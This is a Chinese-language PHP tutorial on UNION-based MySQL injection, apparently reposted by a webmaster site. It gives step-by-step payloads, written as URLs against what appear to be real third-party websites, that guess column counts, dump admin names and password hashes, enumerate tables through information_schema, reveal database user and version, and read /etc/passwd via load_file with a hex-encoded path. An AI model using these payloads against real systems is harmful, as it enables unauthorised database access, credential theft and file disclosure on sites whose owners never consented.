PHP+MYSQL注入实例及理论 - PHP教程
首先我们在说一下逻辑错误跟语法错误:
最大区别就是语法错误通不过编译器的编译,逻辑错误则能通过。具体的说就是语法错误的意思是该错误违背了此种语言的基本规则,比如必须以分号结束语句的语言用点来结束。 逻辑错误是指算法上的错误。比如循环语句的结束条件没有写,语句能通过编译,但运行后会发生死循环无法跳出的现象。 下面看例子:http://www.jieyanbar.com/jycs.look.php?ID=293 我们加单引号’出错,就是语法错误,因为引号违背了前开后闭的原则。加and+1=2出错,是逻辑错误,计算机设定的就是1不能等于2。 下面我们在说下union: 先到百度搜下union。将两个或更多查询的结果组合为单个结果集,该结果集包含联合查询中的所有查询的全部行。说白了就是union就是前后联合查询。select a,b,c from d where xx=1 这里面的1就表现在url上面就是.php?id=1。如果没有好好的过滤,那么id=1 union select 后面,就要和前面相等。也就是select a,b,c from d where xx=1 union select 1,2,3才能执行,如果不相等,就是逻辑错误。例如: http://www.jieyanbar.com/jycs.look.php?ID=293+and+1=1+union+select+1,2,3 他就提示 The used SELECT statements have a different number of columns 你使用的select语法的字段不一致,就是说你union的字段数只有相等才能继续,这就需要你一直猜数目了。直到猜到5的时候才返回正常页面。 接下来说下注入语句: http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+adminhttp://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+adminName,0x5c,adminPWD),4,5+from+admin 先说两个函数:group_concat()是全显。concat()和concat_ws()是只显示一个。不过这个办法未免过笨,因为表和字段的名字都需要猜。 然后在说说爆表和字段的方法: MySQL有这样一个information_schema数据库储存着数据库里面所有的表段名和字段名。 数据库里面的表段的名字在information_schema(schema是图解、计划、模式、概要的意思)数据库的columns表段中,名字就叫table_name而字段名字也在这里,数据库里面的名column_name http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+information_schema.columns这样的话,我们可以从+from+information_schema数据的columns表来concat内容。但是上面的语句有个缺点,就是数据库有好几个,连information_schema数据库里面的表段的名称也给concat出来了。那就加个where语句: http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database()。database()是当前使用的数据库的意思。下面详细说一下information_schema的结构吧! information_schema有个表叫columns。columns里面记录着MySQL里面所有的字段的名称,所有的当然这些记录有属性column_name是字段的名字,table_name是字段所在表段的名字,table_schema是字段所在的数据库的名字,那么带到注入语句当中就是union select group_concat(table_name) from information_schema.columns。不过,有个问题是,如果一个表x中有3个字段,a,b,c,information_schema.columns里面的记录因为abc是三个,所以他们所在的表X就会出现三次。为了避免重复,我们就加个DISTINCT,group_concat(DISTINCT table_name) http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database() 详细的意思就是,输出当前数据库,全部的不重复的table_name,也就是查询现在所使用的数据库里面都有哪些表段。查表懂了,那么查字段也就简单了我们看上面的语句,有个admin表对吧?这里我们需要把admin进行hex取值(就是换成16进制) select group_concat(DISTINCT column_name) from information_schema.columns where table_name=0x61646d696e (admin的16禁止就是0x61646d696e,在SQL中可以自动识别hex编码) 如果你不转化为hex的话那么where条件就要这么写:where table_name='admin'加引号在服务器会出问题。 http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name=0x61646d696e http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name='admin' 意思是一样的,得到的却不一样 然后是关于MySQL的几个参数: 一般这几个参数,我都是直接复制的http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(user(),database(),version()),3,4,5 concat(user(),database(),version()) 不过这样就有个问题,mlyjyb@localhostmlyjy5.0.77连成一片了,分不开,这个时候还得用hex,选择用冒号:来分开这三个参数,冒号的hex就是0x3a http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5 这三个参数中,database()是当前数据库的名称,现在用的数据库的名字叫什么,database()就显示什么user()是数据库用户,@前面是用户名,@后面是数据库所在的服务器version()是数据库版本,也就是4.x和5.x 例如: http://www.nicegirlproject.jp/event_Info.php?id=-1+union+select+1,2,3,4,load_file(0x2F6574632F706173737764),6,7,8,9,0,11,12 推荐:http://blackbap.org/?p=archive&id=41这个是Linux的文件结构
(编辑:应用网_镇江站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |